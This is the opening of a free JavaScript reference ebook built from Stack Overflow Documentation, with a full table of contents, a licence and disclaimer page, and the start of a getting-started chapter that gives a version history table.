JavaScript

# Table of Contents

About 1

Chapter 1: Getting started with JavaScript 2

Remarks 2

Versions 2

Examples 3

Using the DOM API 3

Using console.log() 4

Introduction 4

Getting Started 4

Logging variables 5

Placeholders 5

Logging Objects 6

Logging HTML elements 6

End Note 7

Using window.alert() 7

Notes 7

Using window.prompt() 8

Syntax 8

Examples 8

Notes 9

Using the DOM API (with graphical text: Canvas, SVG, or image file) 9

Using window.confirm() 10

Notes 11

Chapter 2: .postMessage() and MessageEvent 12

Syntax 12

Parameters 12

Examples 12

Getting Started 12

What is .postMessage(), when and why do we use it 12 Sending messages 12

Receiving, Validating and Processing Messages 13

Chapter 3: 15

Introduction 15

Remarks 15

Examples 15

Using GET and no parameters 15

Sending and Receiving JSON Data via POST 15

Displaying the top JavaScript questions of the month from Stack Overflow's API 16

Using GET with parameters 17

Check if a file exists via a HEAD request 17

Add an AJAX preloader 18

Listening to AJAX events at a global level 19

Chapter 4: Anti-patterns 20

Examples 20

Chaining assignments in var declarations. 20

Chapter 5: Arithmetic (Math) 21

Remarks 21

Examples 21

Addition (+) 21

Subtraction (-) 22

Multiplication (*) 22

Division (/) 22

Remainder / Modulus (%) 23

Using modulus to obtain the fractional part of a number 24

Incrementing (++) 24

Decrementing (--) 24

Common Uses 25

Exponentiation (Math.pow() or **) 25

Use Math.pow to find the nth root of a number. 26

Constants 26

Trigonometry 27 Sine 27

Cosine 28

Tangent 28

Rounding 28

Rounding 29

Rounding up 29

Rounding down 29

Truncating 29

Rounding to decimal places 30

Random Integers and Floats 31

Bitwise operators 31

Bitwise or 31

Bitwise and 32

Bitwise not 32

Bitwise xor (exclusive or) 32

Bitwise left shift 32

Bitwise right shift >> (Sign-propagating shift) >>> (Zero-fill right shift) 32

Bitwise assignment operators 33

Get Random Between Two Numbers 34

Random with gaussian distribution 34

Ceiling and Floor 35

Math. to find direction 36

Direction of a vector 36

Direction of a line 36

Direction from a point to another point 36

Sin & Cos to create a vector given direction & distance 36

Math.hypot 37

Periodic functions using Math.sin 37

Simulating events with different probabilities 39

Little / Big endian for typed arrays when using bitwise operators 40

Getting maximum and minimum 41 Getting maximum and minimum from an array: 41

Restrict Number to Min/Max Range 42

Getting roots of a number 42

Square Root 42

Cube Root 42

Finding nth-roots 42

Chapter 6: Arrays 43

Syntax 43

Remarks 43

Examples 43

Standard array initialization 43

Array spread / rest 44

Spread operator 44

Rest operator 45

Mapping values 45

Filtering values 46

Filter falsy values 47

Another simple example 47

Iteration 47

A traditional for-loop 48

Using a traditional for loop to loop through an array 48

A while loop 49

for...in 49

for...of 49

Array.prototype.keys() 50

Array.prototype.forEach() 50

Array.prototype.every 51

Array.prototype.some 51

Libraries 52

Filtering Object Arrays 52

Joining array elements in a string 54 Converting Array-like Objects to Arrays 54

What are Array-like Objects? 54

Convert Array-like Objects to Arrays in ES6 55

Convert Array-like Objects to Arrays in ES5 55

Modifying Items During Conversion 56

Reducing values 57

Array Sum 57

Flatten Array of Objects 57

Map Using Reduce 58

Find Min or Max Value 58

Find Unique Values 59

Logical connective of values 59

Concatenating Arrays 60

Append / Prepend items to Array 62

Unshift 62

Push 62

Object keys and values to array 62

Sorting multidimensional array 63

Removing items from an array 63

Shift 63

Pop 64

Splice 64

Delete 65

Array.prototype.length 65

Reversing arrays 65

Remove value from array 66

Checking if an object is an Array 66

Sorting Arrays 67

Shallow cloning an array 69

Searching an Array 70

FindIndex 70

Removing/Adding elements using splice() 70 Array comparison 71

Destructuring an array 72

Removing duplicate elements 72

Removing all elements 73

Method 1 73

Method 2 74

Method 3 74

Using map to reformat objects in an array 74

Merge two array as key value pair 75

Convert a String to an Array 76

Test all array items for equality 76

Copy part of an Array 77

begin 77

end 77

Example 1 77

Example 2 77

Finding the minimum or maximum element 78

Flattening Arrays 79

2 Dimensional arrays 79

Higher Dimension Arrays 79

Insert an item into an array at a specific index 80

The entries() method 80

Chapter 7: Arrow Functions 82

Introduction 82

Syntax 82

Remarks 82

Examples 82

Introduction 82

Lexical Scoping & Binding (Value of "this") 83

Arguments Object 84

Implicit Return 84

Explicit Return 85 Arrow functions as a constructor 85

Chapter 8: Async functions (async/await) 86

Introduction 86

Syntax 86

Remarks 86

Examples 86

Introduction 86

Arrow function style 87

Less indentation 87

Await and operator precedence 87

Async functions compared to Promises 88

Looping with async await 90

Simultaneous async (parallel) operations 91

Chapter 9: Async Iterators 93

Introduction 93

Syntax 93

Remarks 93

Useful Links 93

Examples 93

Basics 93

Chapter 10: Automatic Semicolon Insertion - ASI 95

Examples 95

Rules of Automatic Semicolon Insertion 95

Statements affected by automatic semicolon insertion 95

Avoid semicolon insertion on return statements 96

Chapter 11: Battery Status API 98

Remarks 98

Examples 98

Getting current battery level 98

Is battery charging? 98

Get time left until battery is empty 98 Get time left until battery is fully charged 98

Battery Events 99

Chapter 12: Behavioral Design Patterns 100

Examples 100

Observer pattern 100

Mediator Pattern 101

Command 102

Iterator 103

Chapter 13: Binary Data 106

Remarks 106

Examples 106

Converting between Blobs and ArrayBuffers 106

Convert a Blob to an ArrayBuffer (asynchronous) 106

Convert a Blob to an ArrayBuffer using a Promise (asynchronous) 106

Convert an ArrayBuffer or typed array to a Blob 107

Manipulating ArrayBuffers with DataViews 107

Creating a TypedArray from a Base64 string 107

Using TypedArrays 107

Getting binary representation of an image file 108

Iterating through an arrayBuffer 109

Chapter 14: Bitwise operators 111

Examples 111

Bitwise operators 111

Conversion to 32-bit integers 111

Two's Complement 111

Bitwise AND 111

Bitwise OR 112

Bitwise NOT 112

Bitwise XOR 113

Shift Operators 113

Left Shift 113

Right Shift (Sign-propagating) 113 Right Shift (Zero fill) 114

Chapter 15: Bitwise Operators - Real World Examples (snippets) 115

Examples 115

Number's Parity Detection with Bitwise AND 115

Swapping Two Integers with Bitwise XOR (without additional memory allocation) 115

Faster multiplication or division by powers of 2 115

Chapter 16: BOM (Browser Object Model) 117

Remarks 117

Examples 117

Introduction 117

Window Object Methods 118

Window Object Properties 118

Chapter 17: Built-in Constants 120

Examples 120

Operations that return NaN 120

Math library functions that return NaN 120

Testing for NaN using isNaN() 120

window.isNaN() 120

Number.isNaN() 121

null 122

undefined and null 122

Infinity and -Infinity 124

NaN 124

Number constants 125

Chapter 18: Callbacks 126

Examples 126

Simple Callback Usage Examples 126

Examples with Asynchronous Functions 127

What is a callback? 128

Continuation (synchronous and asynchronous) 128

Error handling and control-flow branching 129

Callbacks and `this` 130 Solutions 130

Solutions: 131

Callback using Arrow function 132

Chapter 19: Classes 133

Syntax 133

Remarks 133

Examples 133

Class Constructor 134

Static Methods 134

Getters and Setters 135

Class Inheritance 136

Private Members 136

Dynamic Method Names 137

Methods 138

Managing Private Data with Classes 138

Using Symbols 138

Using WeakMaps 139

Define all methods inside the constructor 140

Using naming conventions 140

Class Name binding 140

Chapter 20: Comments 142

Syntax 142

Examples 142

Using Comments 142

Single line Comment // 142

Multi-line Comment /**/ 142

Using HTML comments in JavaScript (Bad practice) 142

Chapter 21: Comparison Operations 145

Remarks 145

Examples 145

Logic Operators with Booleans 145 AND 145

OR 145

NOT 145

Abstract Equality (==) 146

7.2.13 Abstract Equality Comparison 146

Examples: 146

Relational operators (<, <=, >, >=) 147

Inequality 147

Logic Operators with Non-boolean values (boolean coercion) 148

Null and Undefined 149

The differences between null and undefined 149

The similarities between null and undefined 149

Using undefined 150

NaN Property of the Global Object 150

Checking if a value is NaN 150

Points to note 152

Short-circuiting in boolean operators 152

Abstract equality / inequality and type conversion 154

The Problem 154

The Solution 155

Empty Array 156

Equality comparison operations 156

SameValue 156

SameValueZero 156

Strict Equality Comparison 157

Abstract Equality Comparison 158

Grouping multiple logic statements 158

Automatic Type Conversions 159

List of Comparison Operators 159

Bit fields to optimise comparison of multi state data 160

Chapter 22: Conditions 162 Introduction 162

Syntax 162

Remarks 163

Examples 163

If / Else If / Else Control 163

Switch statement 164

Multiple Inclusive Criteria for Cases 166

Ternary operators 166

Strategy 168

Using || and && short circuiting 169

Chapter 23: Console 170

Introduction 170

Syntax 170

Parameters 170

Remarks 170

Opening the Console 171

Chrome 171

Firefox 171

Edge and 172

Safari 172

Opera 173

Compatibility 173

Examples 174

Tabulating values - console.table() 174

Including a stack trace when logging - console.trace() 175

Printing to a browser's debugging console 176

Other print methods 177

Measuring time - console.time() 178

Counting - console.count() 179

Empty string or absence of argument 181

Debugging with assertions - console.assert() 181 Formatting console output 182

Advanced styling 182

Using groups to indent output 183

Clearing the console - console.clear() 184

Displaying objects and XML interactively - console.dir(), console.dirxml() 184

Chapter 24: Constructor functions 187

Remarks 187

Examples 187

Declaring a constructor function 187

Chapter 25: Context (this) 189

Examples 189

this with simple objects 189

Saving this for use in nested functions / objects 189

Binding function context 190

this in constructor functions 191

Chapter 26: Cookies 192

Examples 192

Adding and Setting Cookies 192

Reading cookies 192

Removing cookies 192

Test if cookies are enabled 192

Chapter 27: Creational Design Patterns 194

Introduction 194

Remarks 194

Examples 194

Singleton Pattern 194

Module and Revealing Module Patterns 195

Module Pattern 195

Revealing Module Pattern 195

Revealing Prototype Pattern 196

Prototype Pattern 197 Factory Functions 198

Factory with Composition 199

Abstract Factory Pattern 200

Chapter 28: Custom Elements 202

Syntax 202

Parameters 202

Remarks 202

Examples 202

Registering New Elements 202

Extending Native Elements 203

Chapter 29: Data attributes 204

Syntax 204

Remarks 204

Examples 204

Accessing data attributes 204

Chapter 30: Data Manipulation 206

Examples 206

Extract extension from file name 206

Format numbers as money 206

Set object property given its string name 207

Chapter 31: Datatypes in Javascript 208

Examples 208

typeof 208

Getting object type by constructor name 209

Finding an object's class 210

Chapter 32: Date 212

Syntax 212

Parameters 212

Examples 212

Get the current time and date 212

Get the current year 213 Get the current month 213

Get the current day 213

Get the current hour 213

Get the current minutes 213

Get the current seconds 213

Get the current milliseconds 214

Convert the current time and date to a human-readable string 214

Create a new Date object 214

Exploring dates 215

Convert to JSON 216

Creating a Date from UTC 216

The problem 216

Naive approach with WRONG results 217

Correct approach 217

Creating a Date from UTC 218

Changing a Date object 218

Avoiding ambiguity with getTime() and setTime() 218

Convert to a string format 219

Convert to String 219

Convert to Time String 219

Convert to Date String 219

Convert to UTC String 220

Convert to ISO String 220

Convert to GMT String 220

Convert to Locale Date String 220

Increment a Date Object 221

Get the number of milliseconds elapsed since 1 January 1970 00:00:00 UTC 222

Formatting a JavaScript date 222

Formatting a JavaScript date in modern browsers 222

How to use 223 Going custom 223

Chapter 33: Date Comparison 225

Examples 225

Comparing Date values 225

Date Difference Calculation 226

Chapter 34: Debugging 227

Examples 227

Breakpoints 227

Debugger Statement 227

Developer Tools 227

Opening the Developer Tools 227

Chrome or 227

Internet Explorer or Edge 227

Safari 228

Adding a breakpoint from the Developer Tools 228

IDEs 228

Visual Studio Code (VSC) 228

Adding a breakpoint in VSC 228

Stepping through code 228

Automatically pausing execution 229

Interactive interpreter variables 229

Elements inspector 230

Using setters and getters to find what changed a property 230

Break when a function is called 231

Using the console 231

Chapter 35: Declarations and Assignments 233

Syntax 233

Remarks 233

Examples 233

Reassigning constants 233

Modifying constants 233

Declaring and initializing constants 234 Declaration 234

Data Types 234

Undefined 235

Assignment 235

Mathematic operations and assignment 236

Increment by 236

Decrement by 236

Multiply by 237

Divide by 237

Raised to the power of 237

Chapter 36: Destructuring assignment 238

Introduction 238

Syntax 238

Remarks 238

Examples 238

Destructuring function arguments 238

Renaming Variables While Destructuring 239

Destructuring Arrays 239

Destructuring Objects 240

Destructuring inside variables 241

Using rest parameters to create an arguments array 241

Default Value While Destructuring 241

Nested Destructuring 242

Chapter 37: Detecting browser 244

Introduction 244

Remarks 244

Examples 244

Feature Detection Method 244

Library Method 245

User Agent Detection 245

Chapter 38: Enumerations 247

Remarks 247 Examples 247

Enum definition using Object.freeze() 247

Alternate definition 248

Printing an enum variable 248

Implementing Enums Using Symbols 248

Automatic Enumeration Value 249

Chapter 39: Error Handling 251

Syntax 251

Remarks 251

Examples 251

Interaction with Promises 251

Error objects 252

Order of operations plus advanced thoughts 252

Error types 254

Chapter 40: Escape Sequences 256

Remarks 256

Similarity to other formats 256

Examples 256

Entering special characters in strings and regular expressions 256

Escape sequence types 257

Single character escape sequences 257

Hexadecimal escape sequences 257

4-digit Unicode escape sequences 258

Curly bracket Unicode escape sequences 258

Octal escape sequences 259

Control escape sequences 259

Chapter 41: Evaluating JavaScript 260

Introduction 260

Syntax 260

Parameters 260

Remarks 260 Examples 260

Introduction 260

Evaluation and Math 261

Evaluate a string of JavaScript statements 261

Chapter 42: Events 262

Examples 262

Page, DOM and Browser loading 262

Chapter 43: execCommand and contenteditable 263

Syntax 263

Parameters 263

Examples 264

Formatting 264

Listening to Changes of contenteditable 265

Getting started 265

Copy to clipboard from textarea using execCommand("copy") 266

Chapter 44: Fetch 268

Syntax 268

Parameters 268

Remarks 268

Examples 269

GlobalFetch 269

Set Request Headers 269

POST Data 269

Send cookies 269

Getting JSON data 270

Using Fetch to Display Questions from the Stack Overflow API 270

Chapter 45: File API, Blobs and FileReaders 271

Syntax 271

Parameters 271

Remarks 271

Examples 271

Read file as string 271 Read file as dataURL 272

Slice a file 273

Client side csv download using Blob 273

Selecting multiple files and restricting file types 273

Get the properties of the file 274

Chapter 46: Fluent API 275

Introduction 275

Examples 275

Fluent API capturing construction of HTML articles with JS 275

Chapter 47: Functional JavaScript 278

Remarks 278

Examples 278

Accepting Functions as Arguments 278

Higher-Order Functions 278

Identity Monad 279

Pure Functions 281

Chapter 48: Functions 283

Introduction 283

Syntax 283

Remarks 283

Examples 283

Functions as a variable 283

A Note on Hoisting 286

Anonymous Function 286

Defining an Anonymous Function 286

Assigning an Anonymous Function to a Variable 286

Supplying an Anonymous Function as a Parameter to Another Function 287

Returning an Anonymous Function From Another Function 287

Immediately Invoking an Anonymous Function 287

Self-Referential Anonymous Functions 288

Immediately Invoked Function Expressions 290 Function Scoping 291

Binding `this` and arguments 292

Bind Operator 293

Binding console functions to variables 294

Function Arguments, "arguments" object, rest and spread parameters 294 arguments object 294

Rest parameters: function (...parm) {} 295

Spread parameters: function_name(...varb); 295

Named Functions 295

Named functions are hoisted 296

Named Functions in a recursive scenario 296

The name property of functions 298

Recursive Function 298

Currying 299

Using the Return Statement 300

Passing arguments by reference or value 301

Call and apply 302

Default parameters 303

Functions/variables as default values and reusing parameters 304

Reusing the function's return value in a new invocation's default value: 305 arguments value and length when lacking parameters in invocation 305

Functions with an Unknown Number of Arguments (variadic functions) 306

Get the name of a function object 307

Partial Application 307

Function Composition 308

Chapter 49: Generators 310

Introduction 310

Syntax 310

Remarks 310

Examples 310

Generator Functions 310 Early iteration exit 311

Throwing an error to generator function 311

Iteration 311

Sending Values to Generator 312

Delegating to other Generator 312

Iterator-Observer interface 313

Iterator 313

Observer 313

Doing async with Generators 314

How does it work ? 315

Use it now 315

Async flow with generators 315

Chapter 50: Geolocation 316

Syntax 316

Remarks 316

Examples 316

Get a user's latitude and longitude 316

More descriptive error codes 316

Get updates when a user's location changes 317

Chapter 51: Global error handling in browsers 318

Syntax 318

Parameters 318

Remarks 318

Examples 318

Handling window.onerror to report all errors back to the server-side 318

Chapter 52: History 320

Syntax 320

Parameters 320

Remarks 320

Examples 320

history.replaceState() 320 history.pushState() 321

Load a specific URL from the history list 321

Chapter 53: How to make iterator usable inside async callback function 323

Introduction 323

Examples 323

Erroneous code, can you spot why this usage of key will lead to bugs? 323

Correct Writing 323

Chapter 54: IndexedDB 325

Remarks 325

Transactions 325

Examples 325

Testing for IndexedDB availability 325

Opening a database 325

Adding objects 326

Retrieving data 327

Chapter 55: Inheritance 328

Examples 328

Standard function prototype 328

Difference between Object.key and Object.prototype.key 328

New object from prototype 328

Prototypal inheritance 329

Pseudo-classical inheritance 331

Setting an Object's prototype 332

Chapter 56: Intervals and Timeouts 334

Syntax 334

Remarks 334

Examples 334

Intervals 334

Removing intervals 334

Removing timeouts 335

Recursive setTimeout 335

setTimeout, order of operations, clearTimeout 336 setTimeout 336

Problems with setTimeout 336

Order of operations 336

Cancelling a timeout 337

Intervals 337

Chapter 57: JavaScript Variables 339

Introduction 339

Syntax 339

Parameters 339

Remarks 339 h11 339

Nested Arrays 339 h12 340 h13 340 h14 340

Nested Objects 340 h15 340 h16 340 h17 340

Examples 341

Defining a Variable 341

Using a Variable 341

Types of Variables 341

Arrays and Objects 342

Chapter 58: JSON 343

Introduction 343

Syntax 343

Parameters 343

Remarks 343

Examples 344

Parsing a simple JSON string 344 Serializing a value 344

Serializing with a replacer function 345

Parsing with a reviver function 345

Serializing and restoring class instances 347

JSON versus JavaScript literals 348

Cyclic object values 350

Chapter 59: Linters - Ensuring code quality 351

Remarks 351

Examples 351

JSHint 351

ESLint / JSCS 352

JSLint 352

Chapter 60: Localization 354

Syntax 354

Parameters 354

Examples 354

Number formatting 354

Currency formatting 354

Date and time formatting 355

Chapter 61: Loops 356

Syntax 356

Remarks 356

Examples 356

Standard "for" loops 356

Standard usage 356

Multiple declarations 357

Changing the increment 357

Decremented loop 357

"while" Loops 357

Standard While Loop 357

Decremented loop 358

Do...while Loop 358 "Break" out of a loop 358

Breaking out of a while loop 358

Breaking out of a for loop 359

"continue" a loop 359

Continuing a "for" Loop 359

Continuing a While Loop 359

"do ... while" loop 360

Break specific nested loops 360

Break and continue labels 360

"for ... of" loop 361

Support of for...of in other collections 361

Strings 361

Sets 362

Maps 362

Objects 363

"for ... in" loop 363

Chapter 62: Map 365

Syntax 365

Parameters 365

Remarks 365

Examples 365

Creating a Map 365

Clearing a Map 366

Removing an element from a Map 366

Checking if a key exists in a Map 366

Iterating Maps 367

Getting and setting elements 367

Getting the number of elements of a Map 368

Chapter 63: Memory efficiency 369

Examples 369

Drawback of creating true private method 369

Chapter 64: Method Chaining 370 Examples 370

Method Chaining 370

Chainable object design and chaining 370

Object designed to be chainable 371

Chaining example 371

Don't create ambiguity in the return type 371

Syntax convention 372

A bad syntax 372

Left hand side of assignment 373

Summary 373

Chapter 65: Modals - Prompts 374

Syntax 374

Remarks 374

Examples 374

About User Prompts 374

Persistent Prompt Modal 375

Confirm to Delete element 375

Usage of alert() 376

Usage of prompt() 377

Chapter 66: Modularization Techniques 378

Examples 378

Universal Module Definition (UMD) 378

Immediately invoked function expressions (IIFE) 378

Asynchronous Module Definition (AMD) 379

CommonJS - Node.js 380

ES6 Modules 380

Using Modules 381

Chapter 67: Modules 382

Syntax 382

Remarks 382

Examples 382

Default exports 382 Importing with side effects 383

Defining a module 383

Importing named members from another module 384

Importing an entire module 384

Importing named members with aliases 385

Exporting multiple named members 385

Chapter 68: Namespacing 386

Remarks 386

Examples 386

Namespace by direct assignment 386

Nested Namespaces 386

Chapter 69: Navigator Object 387

Syntax 387

Remarks 387

Examples 387

Get some basic browser data and return it as a JSON object 387

Chapter 70: Notifications API 389

Syntax 389

Remarks 389

Examples 389

Requesting Permission to send notifications 389

Sending Notifications 390

Hello 390

Closing a notification 390

Notification events 390

Chapter 71: Objects 392

Syntax 392

Parameters 392

Remarks 392

Examples 393

Object.keys 393

Shallow cloning 393 Object.defineProperty 394

Read-Only property 394

Non enumerable property 395

Lock property description 395

Accesor properties (get and set) 396

Properties with special characters or reserved words 396

All-digit properties: 397

Dynamic / variable property names 397

Arrays are Objects 398

Object.freeze 399

Object.seal 400

Creating an Iterable object 401

Object rest/spread (...) 401

Descriptors and Named Properties 402

meaning of fields and their defaults 403

Object.getOwnPropertyDescriptor 404

Object cloning 404

Object.assign 405

Object properties iteration 406

Retrieving properties from an object 407

Characteristics of properties : 407

Purpose of enumerability : 407

Methods of retrieving properties : 407

Miscellaneous : 409

Convert object's values to array 409

Iterating over Object entries - Object.entries() 410

Object.values() 410

Chapter 72: Performance Tips 412

Introduction 412

Remarks 412

Examples 412

Avoid try/catch in performance-critical functions 412 Use a memoizer for heavy-computing functions 413

Benchmarking your code - measuring execution time 415

Prefer local variables to globals, attributes, and indexed values 417

Reuse objects rather than recreate 418

Example A 418

Example B 418

Limit DOM Updates 419

Initializing object properties with null 420

Be consistent in use of Numbers 421

Chapter 73: Promises 423

Syntax 423

Remarks 423

Examples 423

Promise chaining 423

Introduction 425

States and control flow 425

Example 425

Delay function call 426

Waiting for multiple concurrent promises 427

Waiting for the first of multiple concurrent promises 428

"Promisifying" values 428

"Promisifying" functions with callbacks 429

Error Handling 430

Chaining 430

Unhandled rejections 431

Caveats 432

Chaining with fulfill and reject 432

Synchronously throwing from function that should return a promise 433

Return a rejected promise with the error 433

Wrap your function into a promise chain 434

Reconciling synchronous and asynchronous operations 434

Reduce an array to chained promises 435 forEach with promises 436

Performing cleanup with finally() 437

Asynchronous API request 437

Using ES2017 async/await 438

Chapter 74: Prototypes, objects 440

Introduction 440

Examples 440

Creation and initialising Prototype 440

Chapter 75: Proxy 442

Introduction 442

Syntax 442

Parameters 442

Remarks 442

Examples 442

Very simple proxy (using the set trap) 442

Proxying property lookup 443

Chapter 76: Regular expressions 444

Syntax 444

Parameters 444

Remarks 444

Examples 444

Creating a RegExp Object 444

Standard Creation 444

Static initialization 445

RegExp Flags 445

Matching With .exec() 445

Match Using .exec() 445

Loop Through Matches Using .exec() 446

Check if string contains pattern using .test() 446

Using RegExp With Strings 446

Match with RegExp 446

Replace with RegExp 447 Split with RegExp 447

Search with RegExp 447

Replacing string match with a callback function 447

RegExp Groups 448

Capture 448

Non-Capture 448

Look-Ahead 449

Using Regex.exec() with parentheses regex to extract matches of a string 449

Chapter 77: requestAnimationFrame 451

Syntax 451

Parameters 451

Remarks 451

Examples 452

Use requestAnimationFrame to fade in element 452

Cancelling an Animation 453

Keeping Compatability 454

Chapter 78: Reserved Keywords 455

Introduction 455

Examples 455

Reserved Keywords 455

JavaScript has a predefined collection of reserved keywords which you cannot use as variab 455

ECMAScript 1 455

ECMAScript 2 455

ECMAScript 5 / 5.1 456

ECMAScript 6 / ECMAScript 2015 457

Identifiers & Identifier Names 458

Chapter 79: Same Origin Policy & Cross-Origin Communication 461

Introduction 461

Examples 461

Ways to circumvent Same-Origin Policy 461

Method 1: CORS 461 Method 2: JSONP 461

Safe cross-origin communication with messages 462

Example of Window communicating with a children frame 462

Chapter 80: Scope 464

Remarks 464

Examples 464

Difference between var and let 464

Global variable declaration 465

Re-declaration 465

Hoisting 466

Closures 466

Private data 467

Immediately-invoked function expressions (IIFE) 468

Hoisting 468

What is hoisting? 468

Limitations of Hoisting 470

Using let in loops instead of var (click handlers example) 471

Method invocation 472

Anonymous invocation 472

Constructor invocation 472

Arrow function invocation 473

Apply and Call syntax and invocation. 473

Bound invocation 475

Chapter 81: Screen 476

Examples 476

Getting the screen resolution 476

Getting the “available” area of the screen 476

Getting color information about the screen 476

Window innerWidth and innerHeight Properties 476

Page width and height 476

Chapter 82: Security issues 478 Introduction 478

Examples 478

Reflected Cross-site scripting (XSS) 478 headings 478

Mitigation: 479

Persistent Cross-site scripting (XSS) 479

Mitigation 480

Persistent Cross-site scripting from JavaScript string literals 480

Mitigation: 481

Why scripts from other people can harm your website and its visitors 481

Evaled JSON injection 481

Mitagation 482

Chapter 83: Selection API 483

Syntax 483

Parameters 483

Remarks 483

Examples 483

Deselect everything that is selected 483

Select the contents of an element 483

Get the text of the selection 484

Chapter 84: Server-sent events 485

Syntax 485

Examples 485

Setting up a basic event stream to the server 485

Closing an event stream 485

Binding event listeners to EventSource 486

Chapter 85: Set 487

Introduction 487

Syntax 487

Parameters 487

Remarks 487 Examples 488

Creating a Set 488

Adding a value to a Set 488

Removing value from a set 488

Checking if a value exist in a set 488

Clearing a Set 489

Getting set length 489

Converting Sets to arrays 489

Intersection and difference in Sets 490

Iterating Sets 490

Chapter 86: Setters and Getters 491

Introduction 491

Remarks 491

Examples 491

Defining an Setter/Getter in a Newly Created Object 491

Defining a Setter/Getter Using Object.defineProperty 491

Defining getters and setters in ES6 class 492

Chapter 87: Strict mode 493

Syntax 493

Remarks 493

Examples 493

For entire scripts 493

For functions 493

Changes to global properties 494

Changes to properties 495

Behaviour of a function's arguments list 496

Duplicate Parameters 497

Function scoping in strict mode 497

Non-Simple parameter lists 497

Chapter 88: Strings 499

Syntax 499

Examples 499 Basic Info and String Concatenation 499

Concatenating Strings 499

String Templates 500

Escaping quotes 500

Reverse String 501

Explanation 502

Trim whitespace 503

Substrings with slice 503

Splitting a string into an array 503

Strings are unicode 503

Detecting a string 504

Comparing Strings Lexicographically 505

String to Upper Case 505

String to Lower Case 506

Word Counter 506

Access character at index in string 506

String Find and Replace Functions 507

indexOf( searchString ) and lastIndexOf( searchString ) 507

includes( searchString, start ) 507

replace( regexp|substring, replacement|replaceFunction ) 507

Find the index of a substring inside a string 508

String Representations of Numbers 508

Repeat a String 509

Character code 510

Chapter 89: Symbols 511

Syntax 511

Remarks 511

Examples 511

Basics of symbol primitive type 511

Converting a symbol into a string 511

Using Symbol.for() to create global, shared symbols 512

Chapter 90: Tail Call Optimization 513 Syntax 513

Remarks 513

Examples 513

What is Tail Call Optimization (TCO) 513

Recursive loops 514

Chapter 91: Template Literals 515

Introduction 515

Syntax 515

Remarks 515

Examples 515

Basic interpolation and multiline strings 515

Raw strings 515

Tagged strings 516

Templating HTML With Template Strings 517

Introduction 517

Chapter 92: The Event Loop 519

Examples 519

The event loop in a web browser 519

Asynchronous operations and the event loop 520

Chapter 93: Tilde ~ 521

Introduction 521

Examples 521

~ Integer 521

~~ Operator 521

Converting Non-numeric values to Numbers 522

Shorthands 522 indexOf 523 can be re-written as 523

~ Decimal 523

Chapter 94: Timestamps 524

Syntax 524 Remarks 524

Examples 524

High-resolution timestamps 524

Low-resolution timestamps 524

Support for legacy browsers 524

Get Timestamp in Seconds 525

Chapter 95: Transpiling 526

Introduction 526

Remarks 526

Examples 526

Introduction to Transpiling 526

Examples 526

Start using ES6/7 with Babel 527

Quick setup of a project with Babel for ES6/7 support 527

Chapter 96: Unary Operators 529

Syntax 529

Examples 529

The unary plus operator (+) 529

Syntax: 529

Returns: 529

Description 529

Examples: 529

The delete operator 530

Syntax: 530

Returns: 530

Description 530

Examples: 531

The typeof operator 531

Syntax: 531

Returns: 531

Examples: 532 The void operator 533

Syntax: 533

Returns: 533

Description 533

Examples: 533

The unary negation operator (-) 534

Syntax: 534

Returns: 534

Description 534

Examples: 534

The bitwise NOT operator (~) 535

Syntax: 535

Returns: 535

Description 535

Examples: 535

The logical NOT operator (!) 536

Syntax: 536

Returns: 536

Description 536

Examples: 537

Overview 537

Chapter 97: Unit Testing Javascript 539

Examples 539

Basic Assertion 539

Unit Testing Promises with Mocha, Sinon, Chai and Proxyquire 540

Chapter 98: Using javascript to get/set CSS custom variables 544

Examples 544

How to get and set CSS variable property values. 544

Chapter 99: Variable coercion/conversion 545

Remarks 545 Examples 545

Converting a string to a number 545

Converting a number to a string 546

Double Negation (!!x) 546

Implicit conversion 546

Converting a number to a boolean 547

Converting a string to a boolean 547

Integer to Float 547

Float to Integer 548

Convert string to float 548

Converting to boolean 548

Convert an array to a string 549

Array to String using array methods 549

Primitive to Primitive conversion table 550

Chapter 100: Vibration API 552

Introduction 552

Syntax 552

Remarks 552

Examples 552

Check for support 552

Single vibration 552

Vibration patterns 553

Chapter 101: WeakMap 554

Syntax 554

Remarks 554

Examples 554

Creating a WeakMap object 554

Getting a value associated to the key 554

Assigning a value to the key 554

Checking if an element with the key exists 555

Removing an element with the key 555

Weak reference demo 555 Chapter 102: WeakSet 557

Syntax 557

Remarks 557

Examples 557

Creating a WeakSet object 557

Adding a value 557

Checking if a value exists 557

Removing a value 558

Chapter 103: Web Cryptography API 559

Remarks 559

Examples 559

Cryptographically random data 559

Creating digests (e.g. SHA-256) 559

Generating RSA key pair and converting to PEM format 560

Converting PEM key pair to CryptoKey 561

Chapter 104: 563

Syntax 563

Parameters 563

Remarks 563

Examples 563

Using localStorage 563 localStorage limits in browsers 564

Storage events 564

Notes 565

sessionStorage 565

Clearing storage 566

Error conditions 566

Remove Storage Item 566

Simpler way of handling Storage 567

localStorage length 567

Chapter 105: 569

Introduction 569 Syntax 569

Parameters 569

Examples 569

Establish a web socket connection 569

Working with string messages 569

Working with binary messages 570

Making a secure web socket connection 570

Chapter 106: Workers 571

Syntax 571

Remarks 571

Examples 571

Register a service worker 571

Web Worker 571

A simple service worker 572 main.js 572

Few Things: 572 sw.js 573

Dedicated Workers and Shared Workers 573

Terminate a worker 574

Populating your cache 574

Communicating with a 575

Credits 577 About

You can share this PDF with anyone you feel could benefit from it, downloaded the latest version from: javascript

It is an unofficial and free JavaScript ebook created for educational purposes. All the content is extracted from Stack Overflow Documentation, which is written by many hardworking individuals at Stack Overflow. It is neither affiliated with Stack Overflow nor official JavaScript.

The content is released under Creative Commons BY-SA, and the list of contributors to each chapter are provided in the credits section at the end of this book. Images may be copyright of their respective owners unless otherwise specified. All trademarks and registered trademarks are the property of their respective company owners.

Use the content presented in this book at your own risk; it is not guaranteed to be correct nor accurate, please send your feedback and corrections to [email protected]

https://riptutorial.com/ 1 Chapter 1: Getting started with JavaScript

Remarks

JavaScript (not to be confused with Java) is a dynamic, weakly-typed language used for client-side as well as server-side scripting.

JavaScript is a case-sensitive language. This means the language considers capital letters to be different from their lowercase counterparts. Keywords in JavaScript are all lowercase.

JavaScript is a commonly referenced implementation of ECMAScript standard.

Topics in this tag often refer to the use of JavaScript within the browser, unless otherwise stated. JavaScript files alone can't be run directly by the browser; it's necessary to embed them in an HTML document. If you have some JavaScript code you'd like to try, you can embed it in some placeholder content like this, and save the result as example.html:

Test page Inline script (option 1): External script (option 2):

Versions

Version Release Date

1 1997-06-01

2 1998-06-01

3 1998-12-01

E4X 2004-06-01

5 2009-12-01

5.1 2011-06-01

https://riptutorial.com/ 2 Version Release Date

6 2015-06-01

7 2016-06-14

8 2017-06-27

Examples

Using the DOM API

